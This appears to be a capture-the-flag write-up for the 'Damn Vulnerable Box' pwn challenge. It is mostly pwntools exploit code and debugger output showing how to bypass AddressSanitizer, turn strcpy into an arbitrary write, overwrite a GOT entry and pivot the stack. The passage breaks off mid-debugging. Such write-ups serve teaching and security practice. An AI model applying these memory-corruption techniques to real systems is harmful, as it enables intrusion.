Damn Vulnerable Box
(asan)
Description
Damn!
Attachment: damn.tar.gz xpl.py
Team: rbtree fan club
----------------------------------------------
██████╗ █████╗ ███╗ ███╗███╗ ██╗
██╔══██╗██╔══██╗████╗ ████║████╗ ██║
██║ ██║███████║██╔████╔██║██╔██╗ ██║
██║ ██║██╔══██║██║╚██╔╝██║██║╚██╗██║
██████╔╝██║ ██║██║ ╚═╝ ██║██║ ╚████║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝
██╗ ██╗██╗ ██╗██╗ ███╗ ██╗███████╗██████╗ █████╗ ██████╗ ██╗ ███████╗
██║ ██║██║ ██║██║ ████╗ ██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔════╝
██║ ██║██║ ██║██║ ██╔██╗ ██║█████╗ ██████╔╝███████║██████╔╝██║ █████╗
╚██╗ ██╔╝██║ ██║██║ ██║╚██╗██║██╔══╝ ██╔══██╗██╔══██║██╔══██╗██║ ██╔══╝
╚████╔╝ ╚██████╔╝███████╗██║ ╚████║███████╗██║ ██║██║ ██║██████╔╝███████╗███████╗
╚═══╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝
██████╗ ██████╗ ██╗ ██╗
██╔══██╗██╔═══██╗╚██╗██╔╝
██████╔╝██║ ██║ ╚███╔╝
██╔══██╗██║ ██║ ██╔██╗
██████╔╝╚██████╔╝██╔╝ ██╗
╚═════╝ ╚═════╝ ╚═╝ ╚═╝
----------------------------------------------
-=[ Short-cut exploit menu ]=-
1. Use-after-free
2. Double-free
3. Global Buffer-overflow
4. Stack Buffer-overflow
5. Format string
6. File download
7. NULL ptr access
>
The binary had some bugs “built in”, but most of them were not usable, because it was protected with ASAN and directly failed when executed.
On every option, we’re asked for user input and then the corresponding bug will be triggered.
-=[ Short-cut exploit menu ]=-
1. Use-after-free
2. Double-free
3. Global Buffer-overflow
4. Stack Buffer-overflow
5. Format string
6. File download
7. NULL ptr access
> 1
userinput> AAAABBBBBBBBBB
=================================================================
==6975==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000000020 at pc 0x000000480cfe bp 0x7ffc904dbe30 sp 0x7ffc904db5f0
WRITE of size 15 at 0x607000000020 thread T0
==6975==WARNING: invalid path to external symbolizer!
==6975==WARNING: Failed to use and restart external symbolizer!
#0 0x480cfd (/home/kileak/ctf/line/damn/box+0x480cfd)
#1 0x4c7e04 (/home/kileak/ctf/line/damn/box+0x4c7e04)
#2 0x7febdcfb4cb1 (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
#3 0x41c47d (/home/kileak/ctf/line/damn/box+0x41c47d)
0x607000000020 is located 0 bytes inside of 80-byte region [0x607000000020,0x607000000070)
freed by thread T0 here:
#0 0x49493d (/home/kileak/ctf/line/damn/box+0x49493d)
#1 0x4c7de9 (/home/kileak/ctf/line/damn/box+0x4c7de9)
#2 0x7febdcfb4cb1 (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
previously allocated by thread T0 here:
#0 0x494bbd (/home/kileak/ctf/line/damn/box+0x494bbd)
#1 0x4c7dde (/home/kileak/ctf/line/damn/box+0x4c7dde)
#2 0x7febdcfb4cb1 (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
SUMMARY: AddressSanitizer: heap-use-after-free (/home/kileak/ctf/line/damn/box+0x480cfd)
Shadow bytes around the buggy address:
0x0c0e7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c0e7fff8000: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fa fa
0x0c0e7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6975==ABORTING
While most of them cannot be turned into something useful, the main scanf
, asking for user input provided on every bug looks promising.
Simply trying to overflow user input, asan detects and aborts it.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "35.221.91.124"
PORT = 10008
def globuf ( user ):
r . sendline ( "3" )
r . sendlineafter ( "> " , user )
r . recvuntil ( "> " )
def stack ( user ):
r . sendline ( "4" )
r . sendlineafter ( "> " , user )
def exploit ( r ):
r . recvuntil ( "> " )
payload = cyclic_metasploit ( 1000 )
stack ( payload )
r . interactive ()
return
if __name__ == "__main__" :
e = ELF ( "./box" )
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
exploit ( r )
else :
LOCAL = True
r = process ( "./box" )
print ( util . proc . pidof ( r ))
pause ()
exploit ( r )
[*] '/home/kileak/ctf/line/damn/box'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASAN: Enabled
UBSAN: Enabled
[+] Starting local process './box': pid 7311
[7311]
[*] Paused (press any to continue)
[*] Switching to interactive mode
=================================================================
==7311==ERROR: AddressSanitizer: strcpy-param-overlap: memory ranges [0x7ffd833e1680,0x7ffd833e1a69) and [0x7ffd833e1720, 0x7ffd833e1b09) overlap
==7311==WARNING: invalid path to external symbolizer!
==7311==WARNING: Failed to use and restart external symbolizer!
#0 0x480a2a (/home/kileak/ctf/line/damn/box+0x480a2a)
#1 0x4c7e7e (/home/kileak/ctf/line/damn/box+0x4c7e7e)
#2 0x7fe44ab28cb1 (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
#3 0x41c47d (/home/kileak/ctf/line/damn/box+0x41c47d)
Address 0x7ffd833e1680 is located in stack of thread T0 at offset 32 in frame
#0 0x4c7b7f (/home/kileak/ctf/line/damn/box+0x4c7b7f)
This frame has 3 object(s):
[32, 160) 'local_buf.i' <== Memory access at offset 32 partially overflows this variable
[192, 1216) 'buf' <== Memory access at offset 32 partially underflows this variable
[1344, 1348) 'm'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
Address 0x7ffd833e1720 is located in stack of thread T0 at offset 192 in frame
#0 0x4c7b7f (/home/kileak/ctf/line/damn/box+0x4c7b7f)
This frame has 3 object(s):
[32, 160) 'local_buf.i'
[192, 1216) 'buf' <== Memory access at offset 192 is inside this variable
[1344, 1348) 'm'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: strcpy-param-overlap (/home/kileak/ctf/line/damn/box+0x480a2a)
==7311==ABORTING
This happens because our user input will be copied via strcpy
, where asan detects the overflow.
But, if our user input contains a null byte before the overflowing data, strcpy
will not rise an asan exception anymore and the binary will just try to cleanup the asan stack and exit.
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 3000 - len ( payload ))
Program received signal SIGSEGV, Segmentation fault.
0x00000000004c7f99 in main ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x42346f42336f4232 ("2Bo3Bo4B"?)
$rbx : 0x00007fffffffddc0 → "Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo[...]"
$rcx : 0x00000000ffffdd03 → 0x0000000000000000
$rdx : 0x80
$rsp : 0x00007fffffffd860 → 0x0000000041b58ab3
$rbp : 0x00007fffffffde60 → "s5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1[...]"
$rsi : 0xf8
$rdi : 0x000010007fff7b24 → 0xf8f8f8f8f8f8f8f8
$rip : 0x00000000004c7f99 → <main+1065> mov QWORD PTR [rax], 0x45e0360e
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13 : 0x00000000ffffffff → 0x0000000000000000
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4c7f8b <main+1051> mov esi, 0x80
0x4c7f90 <main+1056> call 0x4978e0 <__asan_set_shadow_f8>
0x4c7f95 <main+1061> mov rax, QWORD PTR [rbx+0x20]
→ 0x4c7f99 <main+1065> mov QWORD PTR [rax], 0x45e0360e
0x4c7fa0 <main+1072> mov rdi, QWORD PTR [rbx+0x28]
0x4c7fa4 <main+1076> test rdi, rdi
0x4c7fa7 <main+1079> je 0x4c7fb5 <main+1093>
0x4c7fa9 <main+1081> mov esi, 0x560
0x4c7fae <main+1086> call 0x42ab10 <__asan_stack_free_5>
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd860│+0x0000: 0x0000000041b58ab3 ← $rsp
0x00007fffffffd868│+0x0008: 0x00000000004dd569 → "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0010: 0x00000000004c7b70 → <main+0> push rbp
0x00007fffffffd878│+0x0018: 0x00007ffff6b10e60 → 0x00007ffff7da8035 → "GLIBC_2.2.5"
0x00007fffffffd880│+0x0020: 0x0000000000401f8c → 0x23ea6d8c0d39ad3d
0x00007fffffffd888│+0x0028: 0x00007ffff7fd9b3a → add rsp, 0x30
────────────────────────────────────────────────────────────────────────────────────────────────────
The cleanup though will still segfault, because rax
cannot be dereferenced. So, let’s put a valid pointer there.
0x00000000004c7fae in ?? ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00000000004fb5c0 → 0x0000000045e0360e
$rbx : 0x00007fffffffddc0 → 0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx : 0x00000000ffffdd03 → 0x0000000000000000
$rdx : 0x80
$rsp : 0x00007fffffffd860 → 0x0000000041b58ab3
$rbp : 0x00007fffffffde60 → "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]"
$rsi : 0x560
$rdi : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rip : 0x00000000004c7fae → call 0x42ab10
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13 : 0x00000000ffffffff → 0x0000000000000000
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4c7fa4 test rdi, rdi
0x4c7fa7 je 0x4c7fb5
0x4c7fa9 mov esi, 0x560
→ 0x4c7fae call 0x42ab10
↳ 0x42ab10 push rax
0x42ab11 mov rax, QWORD PTR [rdi+0x7f8]
0x42ab18 mov BYTE PTR [rax], 0x0
0x42ab1b cmp rdi, 0x7fff8000
0x42ab22 jb 0x42abe6
0x42ab28 lea rax, [rip+0xe7fe1] # 0x512b10
We’re passing the check, and the binary will now try to call _asan_stack_free_5(v0x6141316141306141 0x560);
, which then will segfault on
Program received signal SIGSEGV, Segmentation fault.
0x000000000042ab11 in __asan_stack_free_5 ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00000000004fb5c0 → 0x0000000045e0360e
$rbx : 0x00007fffffffddc0 → 0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx : 0x00000000ffffdd03 → 0x0000000000000000
$rdx : 0x80
$rsp : 0x00007fffffffd850 → 0x00000000004fb5c0 → 0x0000000045e0360e
$rbp : 0x00007fffffffde60 → "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]"
$rsi : 0x560
$rdi : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rip : 0x000000000042ab11 → <__asan_stack_free_5+1> mov rax, QWORD PTR [rdi+0x7f8]
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13 : 0x00000000ffffffff → 0x0000000000000000
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x42ab08 <__asan_stack_malloc_5+936> call 0x4b1240 <_ZN11__sanitizer11CheckFailedEPKciS1_yy>
0x42ab0d nop DWORD PTR [rax]
0x42ab10 <__asan_stack_free_5+0> push rax
→ 0x42ab11 <__asan_stack_free_5+1> mov rax, QWORD PTR [rdi+0x7f8]
0x42ab18 <__asan_stack_free_5+8> mov BYTE PTR [rax], 0x0
0x42ab1b <__asan_stack_free_5+11> cmp rdi, 0x7fff8000
0x42ab22 <__asan_stack_free_5+18> jb 0x42abe6 <__asan_stack_free_5+214>
0x42ab28 <__asan_stack_free_5+24> lea rax, [rip+0xe7fe1] # 0x512b10 <_ZN6__asan10kMidMemBegE>
0x42ab2f <__asan_stack_free_5+31> mov rsi, QWORD PTR [rax]
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd850│+0x0000: 0x00000000004fb5c0 → 0x0000000045e0360e ← $rsp
0x00007fffffffd858│+0x0008: 0x00000000004c7fb3 → <main+1091> jmp 0x4c7fc2 <main+1106>
0x00007fffffffd860│+0x0010: 0x0000000041b58ab3
0x00007fffffffd868│+0x0018: 0x00000000004dd569 → "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0020: 0x00000000004c7b70 → <main+0> push rbp
0x00007fffffffd878│+0x0028: 0x00007ffff6b10e60 → 0x00007ffff7da8035 → "GLIBC_2.2.5"
────────────────────────────────────────────────────────────────────────────────────────────────────
Since we control rdi
, this could also be used as a null byte write (by the following mov BYTE PTR [rax], 0x0
). If we put an address in memory and point rdi
to that address - 0x7f8
, it would just write one null byte there.
But for now, let’s just point it to some address, to avoid the segfault.
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 1208 )
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += cyclic_metasploit ( 3000 - len ( payload ))
[*] '/home/kileak/ctf/line/damn/box'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASAN: Enabled
UBSAN: Enabled
[+] Starting local process './box': pid 9250
[9250]
[*] Paused (press any to continue)
[*] Switching to interactive mode
*** stack smashing detected ***: terminated
Ok, no more asan failures, seems we got around asan and only failed because we overwrote the canary, which resulted in a normal stack smashing detection.
If we could only leak the canary, this would have already been finished. But didn’t find any leaks, so we have to find another way around this.
Noticed then, that it doesn’t seem to execute the strcpy
at all anymore, let’s check the switch
case, what went wrong there.
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x6d42316c
$rbx : 0x00007fffffffddc0 → 0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx : 0x00000000ffffdd03 → 0x0000000000000000
$rdx : 0x1
$rsp : 0x00007fffffffd860 → 0x0000000041b58ab3
$rbp : 0x00007fffffffde60 → "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi : 0x1
$rdi : 0x00007fffffffd920 → 0x0000000000000048 ("H"?)
$rip : 0x00000000004c7dc5 → <main+597> cmp eax, 0x6
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13 : 0x0
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero CARRY PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4c7db8 <main+584> jne 0x4c7f40 <main+976>
0x4c7dbe <main+590> mov eax, DWORD PTR [r12] <== eax coming from r12
0x4c7dc2 <main+594> add eax, 0xffffffff
→ 0x4c7dc5 <main+597> cmp eax, 0x6
0x4c7dc8 <main+600> ja 0x4c7f7f <main+1039>
0x4c7dce <main+606> jmp QWORD PTR [rax*8+0x4dbec0]
0x4c7dd5 <main+613> mov edi, 0x50
0x4c7dda <main+618> call 0x494b20 <malloc>
0x4c7ddf <main+623> mov r14, rax
We’re also overwriting the menu choice, thus just jumping into the default
exitting the application. Let’s fix this, so it will go into the stack overflow block again calling strcpy
.
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 1144 )
payload += p64 ( 0x4 ) # menu choice
payload += cyclic_metasploit ( 1216 - len ( payload ))
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += cyclic_metasploit ( 3000 - len ( payload ))
$rax : 0x3
$rbx : 0x00007fffffffddc0 → 0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx : 0x00000000ffffdd03 → 0x0000000000000000
$rdx : 0x1
$rsp : 0x00007fffffffd860 → 0x0000000041b58ab3
$rbp : 0x00007fffffffde60 → "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi : 0x4132624131624130 ("0Ab1Ab2A"?)
$rdi : 0x6241376241366241 ("Ab6Ab7Ab"?)
$rip : 0x00000000004c7e7a → <main+778> call 0x480970 <strcpy>
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → 0x0000000000000004
$r13 : 0x0
$r14 : 0x000010007fff7b0c → 0x00000000f1f1f1f1 → 0x0000000000000000
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4c7e6d <main+765> movups XMMWORD PTR [r14+0x4], xmm0
0x4c7e72 <main+770> mov rdi, QWORD PTR [rbx+0x18]
0x4c7e76 <main+774> mov rsi, QWORD PTR [rbx+0x8]
→ 0x4c7e7a <main+778> call 0x480970 <strcpy>
↳ 0x480970 <strcpy+0> push rbp
0x480971 <strcpy+1> mov rbp, rsp
0x480974 <strcpy+4> push r15
0x480976 <strcpy+6> push r14
0x480978 <strcpy+8> push r13
0x48097a <strcpy+10> push r12
Calling strcpy
again and even better, we’re controlling rdi
and rsi
! We have an arbitrary write here :)
We can use this now to overwrite __stack_chk_fail@got
to do something more useful. We just need the content, we want to copy over the got entry somewhere in memory at a known position.
Thankfully, there is the Global Buffer-overflow
, which will just copy our input into global_buf
on bss
.
So we can put the gadget, we want to be executed, into the global buffer and then use the strcpy
to copy it into __stack_chk_fail@got
.
log . info ( "Put gadget into global buffer" )
globuf ( p64 ( 0xdeadbeef ))
log . info ( "Trigger stack overflow" )
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 1144 )
payload += p64 ( 0x4 ) # menu choice
payload += cyclic_metasploit ( 32 )
payload += p64 ( e . symbols [ "global_buf" ]) # strcpy rsi
payload += "A" * 8
payload += p64 ( e . got [ "__stack_chk_fail" ]) # strcpy rdi
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += cyclic_metasploit ( 3000 - len ( payload ))
gef➤ x/gx 0x00000000004fb058
0x4fb058 <__stack_chk_fail@got.plt>: 0x00000000deadbeef
We have successfully overwritten __stack_chk_fail@got
now, but we run into the next segfault.
Program received signal SIGSEGV, Segmentation fault.
0x00000000004c7d36 in main ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rbx : 0x00007fffffffddc0 → 0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx : 0x0
$rdx : 0x00007ffff6940a00 → 0x00007ffff6940a00 → [loop detected]
$rsp : 0x00007fffffffd860 → 0x0000000041b58ab3
$rbp : 0x00007fffffffde60 → "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi : 0x0
$rdi : 0x00007fffffffb5d0 → 0x00007ffff7bd7b50 → <funlockfile+0> endbr64
$rip : 0x00000000004c7d36 → <main+454> cmp BYTE PTR [rax+0x7fff8000], 0x0
$r8 : 0x3
$r9 : 0x0
$r10 : 0x00007ffff7b403c0 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00007fffffffdda0 → 0x0000000000000004
$r13 : 0x1
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4c7d2b <main+443> xor eax, eax
0x4c7d2d <main+445> call 0x43bf70 <printf>
0x4c7d32 <main+450> mov rax, QWORD PTR [rbx+0x30]
→ 0x4c7d36 <main+454> cmp BYTE PTR [rax+0x7fff8000], 0x0
0x4c7d3d <main+461> jne 0x4c7fe2 <main+1138>
0x4c7d43 <main+467> mov rdi, QWORD PTR [rip+0x36ab6] # 0x4fe800 <stdout@@GLIBC_2.2.5>
0x4c7d4a <main+474> call 0x46bdc0 <fflush>
0x4c7d4f <main+479> movzx eax, BYTE PTR [r15+0x7fff8000]
0x4c7d57 <main+487> test al, al
Nothing, a valid pointer couldn’t fix ;-)
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 1144 )
payload += p64 ( 0x4 ) # menu choice
payload += cyclic_metasploit ( 32 )
payload += p64 ( e . symbols [ "global_buf" ]) # strcpy rsi
payload += "A" * 8
payload += p64 ( e . got [ "__stack_chk_fail" ]) # strcpy rdi
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += p64 ( 0x80e1c9e0 - 0x7fff8000 ) # random address to pass check
payload += cyclic_metasploit ( 3000 - len ( payload ))
0x000000000041c0b0 in __stack_chk_fail@plt ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xac3829215e90f400
$rbx : 0x00007fffffffddc0 → 0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx : 0x0
$rdx : 0x80
$rsp : 0x00007fffffffd858 → 0x00000000004c803c → nop DWORD PTR [rax+0x0]
$rbp : 0x00007fffffffde60 → "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
$rsi : 0x560
$rdi : 0x1c4855
$rip : 0x000000000041c0b0 → <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0xdefa2] # 0x4fb058 <__stack_chk_fail@got.plt>
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b3fac0 → 0x0000000100000000 → 0x0000000000000000
$r11 : 0x00007ffff7b403c0 → 0x0002000200020002
$r12 : 0x00007fffffffdda0 → 0x0000000000000000
$r13 : 0x1
$r14 : 0x000010007fff7b0c → 0xf8f8f8f8f1f1f1f1
$r15 : 0x00000ffffffffbb4 → 0x0000000000000000
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction OVERFLOW resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x41c0a0 <alarm@plt+0> jmp QWORD PTR [rip+0xdefaa] # 0x4fb050 <alarm@got.plt>
0x41c0a6 <alarm@plt+6> push 0x7
0x41c0ab <alarm@plt+11> jmp 0x41c020
→ 0x41c0b0 <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0xdefa2] # 0x4fb058 <__stack_chk_fail@got.plt>
0x41c0b6 <__stack_chk_fail@plt+6> push 0x8
0x41c0bb <__stack_chk_fail@plt+11> jmp 0x41c020
0x41c0c0 <getuid@plt+0> jmp QWORD PTR [rip+0xdef9a] # 0x4fb060 <getuid@got.plt>
0x41c0c6 <getuid@plt+6> push 0x9
0x41c0cb <getuid@plt+11> jmp 0x41c020
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd858│+0x0000: 0x00000000004c803c → nop DWORD PTR [rax+0x0] ← $rsp
0x00007fffffffd860│+0x0008: 0x0000000041b58ab3
0x00007fffffffd868│+0x0010: 0x00000000004dd569 → "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0018: 0x00000000004c7b70 → <main+0> push rbp
0x00007fffffffd878│+0x0020: 0x00007ffff6b10e60 → 0x00007ffff7da8035 → "GLIBC_2.2.5"
0x00007fffffffd880│+0x0028: 0x0000000000401f8c → 0x23ea6d8c0d39ad3d
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/gx 0x4fb058
0x4fb058 <__stack_chk_fail@got.plt>: 0x00000000deadbeef
We’re passing all tests, getting back into __stack_chk_fail
and jumping to our target gadget (currently 0xdeadbeef
).
gef➤ x/10i 0x00000000004bf6ac
0x4bf6ac <_ZN7__ubsan15InitializeFlagsEv+220>: add rsp,0x100
0x4bf6b3 <_ZN7__ubsan15InitializeFlagsEv+227>: pop rbx
0x4bf6b4 <_ZN7__ubsan15InitializeFlagsEv+228>: pop r14
0x4bf6b6 <_ZN7__ubsan15InitializeFlagsEv+230>: pop r15
0x4bf6b8 <_ZN7__ubsan15InitializeFlagsEv+232>: ret
This would make a good stack pivoting gadget, which will jump right into user_input
.
log . info ( "Put gadget into global buffer" )
ADDRSP110 = 0x4bf6ac
globuf ( p64 ( ADDRSP110 ))
log . info ( "Trigger stack overflow" )
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 1144 )
payload += p64 ( 0x4 ) # menu choice
payload += cyclic_metasploit ( 32 )
payload += p64 ( e . symbols [ "global_buf" ]) # strcpy rsi
payload += "A" * 8
payload += p64 ( e . got [ "__stack_chk_fail" ]) # strcpy rdi
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += p64 ( 0x80e1c9e0 - 0x7fff8000 ) # random address to pass check
payload += cyclic_metasploit ( 3000 - len ( payload ))
stack ( payload )
Program received signal SIGSEGV, Segmentation fault.
0x00000000004bf6b8 in __ubsan::InitializeFlags() ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x27c089aae200bd00
$rbx : 0x6241376241366241 ("Ab6Ab7Ab"?)
$rcx : 0x0
$rdx : 0x80
